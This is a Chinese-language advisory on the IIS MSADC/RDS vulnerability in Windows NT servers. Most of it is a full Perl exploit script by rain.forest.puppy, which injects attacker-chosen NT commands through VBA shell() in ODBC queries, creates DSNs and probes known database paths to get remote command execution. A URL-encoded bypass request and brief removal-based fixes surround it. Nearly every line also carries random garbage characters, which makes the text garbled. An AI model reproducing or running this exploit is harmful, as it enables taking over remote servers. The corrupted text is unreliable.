IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]dzBm!u I9S=VFhZ` 涉及程序:
\Eq,4-q Microsoft NT server
up+W[#+ v+a$Xh3Y~ 描述:
y V=Ku 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
p=F!)TnJN yo\R[i( 详细:
7!%/vO0m 如果你没有时间读详细内容的话,就删除:
3m
RP.<= c:\Program Files\Common Files\System\Msadc\msadcs.dll
Dep.Qfv{- 有关的安全问题就没有了。
7.7aHt0 ~>C@n'\lv 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
hY$gzls4 H CKD0xx 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
;Du+C% 关于利用ODBC远程漏洞的描述,请参看:
? yL3XB> T(LqR?xOo http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !|!k9~v! "B18|#v 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Leg)q7n http://www.microsoft.com/security/bulletins/MS99-025faq.asp >uVo'S. \G}02h 这里不再论述。
0#\K9|. +NIq}fZn9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ra87~kj< 8 xfn$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
l&rS\TCkp 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ITcgpK6k t8vR9]n L=`QF'Im #将下面这段保存为txt文件,然后: "perl -x 文件名"
l%vX$Kw &72
( < #!perl
|'mwr! #
% zP]z # MSADC/RDS 'usage' (aka exploit) script
?HD(EGdx #
c6v@6jzx0Y # by rain.forest.puppy
C\%T|ZDE #
#G</RYM~m # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xBba&A]= # beta test and find errors!
zNAID-5K; gcS?r : use Socket; use Getopt::Std;
i.QS(gM getopts("e:vd:h:XR", \%args);
|tK_Bn 9W^sq<tR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@9,=|kxK R]dN-'U if (!defined $args{h} && !defined $args{R}) {
R/!lDv!
print qq~
g]kM7,/M Usage: msadc.pl -h <host> { -d <delay> -X -v }
&j}08aK% -h <host> = host you want to scan (ip or domain)
hw2'.}B"( -d <seconds> = delay between calls, default 1 second
#vwK6'z -X = dump Index Server path table, if available
0tA~Y26 -v = verbose
b2L9%8h -e = external dictionary file for step 5
36]pE< }~W:3A{7; Or a -R will resume a command session
UA>3,|gV1 O|Sbe%[*wW ~; exit;}
r"E%U:y3P ALcin))+B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\<e? if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q{+*F8%8V< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2@TgeV0Y[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
hc"l^a!7ic $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
W=E+/ZvPt if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{ XI 0KiE [{!K'V if (!defined $args{R}){ $ret = &has_msadc;
X`/GiYTu die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
@wvgMu
b#uNdq3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
dh9Qo4-{ . "cmd /c ";
VtP^fM^{ $in=<STDIN>; chomp $in;
^pB}eh.@U $command="cmd /c " . $in ;
fL xGaOT $,Eb(j if (defined $args{R}) {&load; exit;}
0o2*X|i( "Wz8f print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
fAEgrw%Ti &try_btcustmr;
ni2GZ<1j q fc:%ks2 print "\nStep 2: Trying to make our own DSN...";
%
w\ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]izrr uez"{ _I print "\nStep 3: Trying known DSNs...";
`i!BXOOV{ &known_dsn;
_h6j, ) t4;eabZK print "\nStep 4: Trying known .mdbs...";
k kZ2Jxvx &known_mdb;
R"wBDWs `Wl_yC_*G; if (defined $args{e}){
m&PfZ%'[ print "\nStep 5: Trying dictionary of DSN names...";
Ob ~7w[n3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]QU
9|1 `p!&>,lrk print "Sorry Charley...maybe next time?\n";
v9,<2 exit;
H^Mfj!S "U"phLX ##############################################################################
lr*p\vH 1;*4yJ2 sub sendraw { # ripped and modded from whisker
%`EyG sleep($delay); # it's a DoS on the server! At least on mine...
GyC/39<P my ($pstr)=@_;
F_U9;*f] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
R\a6#u3 die("Socket problems\n");
FmtgH1u:= if(connect(S,pack "SnA4x8",2,80,$target)){
=,BDd$e select(S); $|=1;
X!b+Dk print $pstr; my @in=<S>;
Y9/`w@"v select(STDOUT); close(S);
#ORZk6e return @in;
$#z-b@s=B } else { die("Can't connect...\n"); }}
bmOK8 \DiAfx<Ub ##############################################################################
_2-fH Z bW!c1s{ sub make_header { # make the HTTP request
bcR";cE my $msadc=<<EOT
]/9@^D}& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Ao )\/AR' User-Agent: ACTIVEDATA
ybC0Ee@ Host: $ip
aZ,j1j0p Content-Length: $clen
=ea'G>;[H Connection: Keep-Alive
q"48U.}T 7z2Q!0Sz ADCClientVersion:01.06
5g q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`K7UWtp uIy$|N --!ADM!ROX!YOUR!WORLD!
~GLWhe-
Content-Type: application/x-varg
dEhFuNO<2 Content-Length: $reqlen
0$qK: ze dfA2G<Uc EOT
:@RX}rKG ; $msadc=~s/\n/\r\n/g;
Zt"#'1 return $msadc;}
SHc?C&^S :hBLi99
o ##############################################################################
aMJW__, 2/iBk'd sub make_req { # make the RDS request
B:>>D/O my ($switch, $p1, $p2)=@_;
?NVX# t' my $req=""; my $t1, $t2, $query, $dsn;
qEvbKy} u?F^gIw if ($switch==1){ # this is the btcustmr.mdb query
!b"2]Qv $query="Select * from Customers where City=" . make_shell();
w
t6&N{@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
0{OafL8&l $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
* lJkk { v [ elsif ($switch==2){ # this is general make table query
Al3*? H& $query="create table AZZ (B int, C varchar(10))";
8 7z]qE $dsn="$p1";}
b}3t8?wG& kt#t-N;}x elsif ($switch==3){ # this is general exploit table query
8U%y[2sT $query="select * from AZZ where C=" . make_shell();
S"cim\9xP $dsn="$p1";}
U]]ON6Y&F BMo2t'L elsif ($switch==4){ # attempt to hork file info from index server
H
-K%F_# $query="select path from scope()";
[ KDNKK $dsn="Provider=MSIDXS;";}
aKFY&zN? 7Y%Si5 elsif ($switch==5){ # bad query
K0{
,*>C $query="select";
to{7B7t>q $dsn="$p1";}
S^x?<kYQau *=}\cw\A $t1= make_unicode($query);
9+
A~( $t2= make_unicode($dsn);
AZE $req = "\x02\x00\x03\x00";
DC~ 1}|B" $req.= "\x08\x00" . pack ("S1", length($t1));
K8JshFIe $req.= "\x00\x00" . $t1 ;
K]'t>:G@ $req.= "\x08\x00" . pack ("S1", length($t2));
[#SiwhF| $req.= "\x00\x00" . $t2 ;
m@y<wk(
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
>qU5 (M_&L return $req;}
}0C v J4 VBtdx`9 ##############################################################################
5K,=S <c&Nm_) sub make_shell { # this makes the shell() statement
aF{1V\e return "'|shell(\"$command\")|'";}
=`k',V_ T<%%f.x[s ##############################################################################
rh DiIO_ [;Jq=G8&t sub make_unicode { # quick little function to convert to unicode
6 u 1|pX8 my ($in)=@_; my $out;
G-TD9OgZ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
z+K1[1SM return $out;}
\iA.{,VX I_Omv{&u ##############################################################################
n#5S-z1KNw F@b=S0}K sub rdo_success { # checks for RDO return success (this is kludge)
n}dLfg* my (@in) = @_; my $base=content_start(@in);
$T6+6<
if($in[$base]=~/multipart\/mixed/){
+xuj ]J return 1 if( $in[$base+10]=~/^\x09\x00/ );}
A!v:W6yiz return 0;}
e0M'\'J `|<? sjY ##############################################################################
d5"rCd[ Ki>XLX,er= sub make_dsn { # this makes a DSN for us
25;(`Td5 my @drives=("c","d","e","f");
**.g^Pyc print "\nMaking DSN: ";
(e#f foreach $drive (@drives) {
.JBTU>1]_n print "$drive: ";
PVSz%" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
b"nD5r "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}LY)FT4n . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
txiX1o!/L $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Cw l: return 0 if $2 eq "404"; # not found/doesn't exist
&Z(6i}f,Gp if($2 eq "200") {
t[/APm-k~> foreach $line (@results) {
RgVnx] IF return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
D?G'1+RIT~ } return 0;}
+`ug?`_ hGcu(kAC, ##############################################################################
B dP+>Ij ')TS'p,n sub verify_exists {
k#-%u,t my ($page)=@_;
2AW*PDncxP my @results=sendraw("GET $page HTTP/1.0\n\n");
{(l,Uhxl"" return $results[0];}
=z4J[8bb (v&iXD5t ##############################################################################
(3 Z;c_N 8H,k0~D sub try_btcustmr {
7b7WQ 7u my @drives=("c","d","e","f");
!8Y A1 o my @dirs=("winnt","winnt35","winnt351","win","windows");
7u:QT2=& + (Jh$b_ foreach $dir (@dirs) {
VNs3. print "$dir -> "; # fun status so you can see progress
;?y~ h$ foreach $drive (@drives) {
#itZ~tol print "$drive: "; # ditto
}tQ^ch; Q $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_:%i6c*" $reqlenlen=length( "$reqlen" );
]!uId#OH $clen= 206 + $reqlenlen + $reqlen;
C%|m[,Gx }lP`3e my @results=sendraw(make_header() . make_req(1,$drive,$dir));
BZ(DP_}&D if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"y60YYn-#J else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^I{/j'b& 2$'bOo ##############################################################################
{$V2L4 R+El/ya:6 sub odbc_error {
[{:
l? my (@in)=@_; my $base;
*;F:6p4_ my $base = content_start(@in);
kJ?AAPC if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<O.|pJus $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+$F,!rV-s $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S~>R}= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>qPP_^] return $in[$base+4].$in[$base+5].$in[$base+6];}
j^/=.cD| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$EL:Jx2< print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
!;Ke# E_d $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hrGX65> agq4Zy ##############################################################################
{B4.G8%Z ^v+p@k sub verbose {
czsnPmNEI my ($in)=@_;
q0b*#j return if !$verbose;
DPkH:X print STDOUT "\n$in\n";}
yY]E~ `fE'$2 ##############################################################################
i1K$~ G=LK
irj( sub save {
lh6N3d my ($p1, $p2, $p3, $p4)=@_;
|D_4 iFC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.#Z"Sj print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_T_} k:&X close OUT;}
vOq N=bp F,V|In ##############################################################################
z6P~HF+&h *m2?fP\ sub load {
q7I!wD9Cff my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o$Y#C{wC% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>hzSd@J& @p=<IN>; close(IN);
,N
nh$F $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(/E@.z[1 $target= inet_aton($ip) || die("inet_aton problems");
0\,! print "Resuming to $ip ...";
R\<d&+q@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
XM#nb$gl if($p[1]==1) {
]^Xj!01~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
T=RabKVYP $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
"xnULQK my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Xkk 8#Y": if (rdo_success(@results)){print "Success!\n";}
E^0a; |B[ else { print "failed\n"; verbose(odbc_error(@results));}}
=\mJ5v"hA elsif ($p[1]==3){
TF 80WMt if(run_query("$p[3]")){
YI`BA`BQ8 print "Success!\n";} else { print "failed\n"; }}
BO8?{~i elsif ($p[1]==4){
Dy:r)\KX if(run_query($drvst . "$p[3]")){
h6}rOchj print "Success!\n"; } else { print "failed\n"; }}
<8YvsJ exit;}
ah,"c9YX wk{]eD% ##############################################################################
<\eRa{ef { `xC~B h sub create_table {
[KCR@__ my ($in)=@_;
)[u'LgVN/L $reqlen=length( make_req(2,$in,"") ) - 28;
~Orz<%k. $reqlenlen=length( "$reqlen" );
X4+H8],) $clen= 206 + $reqlenlen + $reqlen;
SbQ:vAE*ho my @results=sendraw(make_header() . make_req(2,$in,""));
V(g5Gn? return 1 if rdo_success(@results);
K=r~+4F my $temp= odbc_error(@results); verbose($temp);
9m\Yi return 1 if $temp=~/Table 'AZZ' already exists/;
uKj(=Rqq return 0;}
d ^zuo wEN[o18{ ##############################################################################
#N%j9 G:@1.H` sub known_dsn {
m# -&<= # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ddbQFAQQQ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
.&`apQD} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
QjD=JC+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
1f'msy/ oKH+Q6S: foreach $dSn (@dsns) {
&C)97E print ".";
gGN6Yqj0 next if (!is_access("DSN=$dSn"));
bAy\Sr
#/ if(create_table("DSN=$dSn")){
H/Rzs$pnv print "$dSn successful\n";
z: if(run_query("DSN=$dSn")){
OmK4
\_. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_'<FBlIN print "Something's borked. Use verbose next time\n";}}} print "\n";}
e {3%- >&k`NXS|V ##############################################################################
$=`d[04 - P" sub is_access {
(;H% r & my ($in)=@_;
LFZ*mRiuKE $reqlen=length( make_req(5,$in,"") ) - 28;
$~VIx% h $reqlenlen=length( "$reqlen" );
TuaP $clen= 206 + $reqlenlen + $reqlen;
z`NJelcuz\ my @results=sendraw(make_header() . make_req(5,$in,""));
;*ni%|K my $temp= odbc_error(@results);
Wyow MFp verbose($temp); return 1 if ($temp=~/Microsoft Access/);
7#Uzz"^ return 0;}
w9mAeGyE I$4>_D ##############################################################################
'Sesh'2
/ /a9CqK sub run_query {
C7f*Q[ my ($in)=@_;
}%<_>b\ $reqlen=length( make_req(3,$in,"") ) - 28;
9XhH*tBn7( $reqlenlen=length( "$reqlen" );
M%RH4%NZ0 $clen= 206 + $reqlenlen + $reqlen;
F,Ve, 7kh my @results=sendraw(make_header() . make_req(3,$in,""));
_Vf>>tuW return 1 if rdo_success(@results);
#?,"/Btq my $temp= odbc_error(@results); verbose($temp);
8EX?/33$ return 0;}
#sk~L21A l;&kX6 w ##############################################################################
=''b `T$ {oR@'^N sub known_mdb {
!w@i,zqu my @drives=("c","d","e","f","g");
U0iV
E+)Bt my @dirs=("winnt","winnt35","winnt351","win","windows");
jw
5 U-zi my $dir, $drive, $mdb;
t;-F] my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
X[f)0w% c-!3wvt) # this is sparse, because I don't know of many
2$`Y 4b 3t my @sysmdbs=( "\\catroot\\icatalog.mdb",
zL3zvOhu} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
SoHaGQox "\\system32\\certmdb.mdb",
%<'.c9u5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6eA)d# I6gduvkXi4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
YpRhl(| "\\cfusion\\cfapps\\forums\\forums_.mdb",
]!N=Z
}LD "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
JG7K-W|!c "\\cfusion\\cfapps\\security\\realm_.mdb",
^,)nuUy "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bI_MF/r'' "\\cfusion\\database\\cfexamples.mdb",
@; I9e "\\cfusion\\database\\cfsnippets.mdb",
#!%zf{(C+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Oamz>Hplu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<G`1(,g "\\cfusion\\brighttiger\\database\\cleam.mdb",
}' sW[?ik "\\cfusion\\database\\smpolicy.mdb",
6j+X@|2^ "\\cfusion\\database\cypress.mdb",
;*ULrX4[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[hk/Rp7{ "\\website\\cgi-win\\dbsample.mdb",
%Pj} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~*UY[!+4^= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
g}uSIv^ ); #these are just
^]~!:Ej0 foreach $drive (@drives) {
B#35)QI foreach $dir (@dirs){
$$< I}eMd> foreach $mdb (@sysmdbs) {
):}A Quy] print ".";
!_;J@B if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
DL,]iJm print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
TIR Is1 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(<-m|H}; print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ll- KK`Ka } else { print "Something's borked. Use verbose next time\n"; }}}}}
0
0|!g"E>$ B7YE+ foreach $drive (@drives) {
&
9
c^9<F foreach $mdb (@mdbs) {
eH[i<Z print ".";
x5Fo?E if(create_table($drv . $drive . $dir . $mdb)){
zA:q/i print "\n" . $drive . $dir . $mdb . " successful\n";
jUgx
;= if(run_query($drv . $drive . $dir . $mdb)){
A wk1d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
;sq xFF@ } else { print "Something's borked. Use verbose next time\n"; }}}}
zK{} }
?r5a* r.6?| ##############################################################################
,?Zy4- ='_3qn. sub hork_idx {
i\gt
@ print "\nAttempting to dump Index Server tables...\n";
79-50}A print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x;-D}# $reqlen=length( make_req(4,"","") ) - 28;
}UQ,B $reqlenlen=length( "$reqlen" );
@LDs$"f9= $clen= 206 + $reqlenlen + $reqlen;
" vc4QH$ my @results=sendraw2(make_header() . make_req(4,"",""));
SBf=d<j 1) if (rdo_success(@results)){
mV)t my $max=@results; my $c; my %d;
hY!>> for($c=19; $c<$max; $c++){
ccp9nXv $results[$c]=~s/\x00//g;
Q9B!0G.-bs $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
V0&7MY * $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
01uj-!D$@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'Ffvd{+:8 $d{"$1$2"}="";}
7~'%ThUb$- foreach $c (keys %d){ print "$c\n"; }
LnN:;h } else {print "Index server doesn't seem to be installed.\n"; }}
B., BP JG1q5j##]b ##############################################################################
s0/m qZ]s 2tCw{Om* sub dsn_dict {
VB T66kV open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Aayd3Ph0% while(<IN>){
1$6
u $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
MpvGF7H next if (!is_access("DSN=$dSn"));
_@gg,2
u- if(create_table("DSN=$dSn")){
}9#GJ:x` print "$dSn successful\n";
8bO+[" c if(run_query("DSN=$dSn")){
m}zXy\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a?PH`5O print "Something's borked. Use verbose next time\n";}}}
+>Gw)|oX print "\n"; close(IN);}
aGsO~ODc s{V&vRr ##############################################################################
8Q{9AoQ3' w'VuC82SZ sub sendraw2 { # ripped and modded from whisker
U5@B7v1 sleep($delay); # it's a DoS on the server! At least on mine...
\u(Gj]B#" my ($pstr)=@_;
:(tKc3z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~ b66
; die("Socket problems\n");
8*&73cp if(connect(S,pack "SnA4x8",2,80,$target)){
)
LTV+? print "Connected. Getting data";
ko'V8r`V open(OUT,">raw.out"); my @in;
!M9mX%UQ select(S); $|=1; print $pstr;
QZa^Cng~ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mqUDve( close(OUT); select(STDOUT); close(S); return @in;
-vk/z+-^! } else { die("Can't connect...\n"); }}
,# .12Q! JP
{`^c ##############################################################################
jUR*
| 6c/0OM# sub content_start { # this will take in the server headers
Cw kQhj? my (@in)=@_; my $c;
LTH,a?lD for ($c=1;$c<500;$c++) {
]n<Ba7Y if($in[$c] =~/^\x0d\x0a/){
SkVah:cF- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
X.,R%>O}`P else { return $c+1; }}}
a|3+AWL% return -1;} # it should never get here actually
>9#) obw =?wDQ: ##############################################################################
QR8]d1+GV nGc'xQy0 sub funky {
PU B0H my (@in)=@_; my $error=odbc_error(@in);
_FS #~z'j if($error=~/ADO could not find the specified provider/){
nU\.`.39
+ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
T2)CiR-b exit;}
Uspv^O9_ if($error=~/A Handler is required/){
Pc5C*{C print "\nServer has custom handler filters (they most likely are patched)\n";
|E||e10wR exit;}
uGW#z_{(n if($error=~/specified Handler has denied Access/){
B>\q!dX3 print "\nServer has custom handler filters (they most likely are patched)\n";
0o BAJP exit;}}
F{.g05^y 6cbV[!BL ##############################################################################
NiE`u m wc"~8Ah sub has_msadc {
-~4kh]7% my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
2e3AmR@* my $base=content_start(@results);
-ik((qx_ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<@+L^Ps~z return 0;}
NE)w$>0M M\7F1\ X ########################
t
U~q4$qqE RF4B]Gqd
VsK8 :[Al 解决方案:
$kMe8F_ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
m]
p]J_6A 2、移除web 目录: /msadc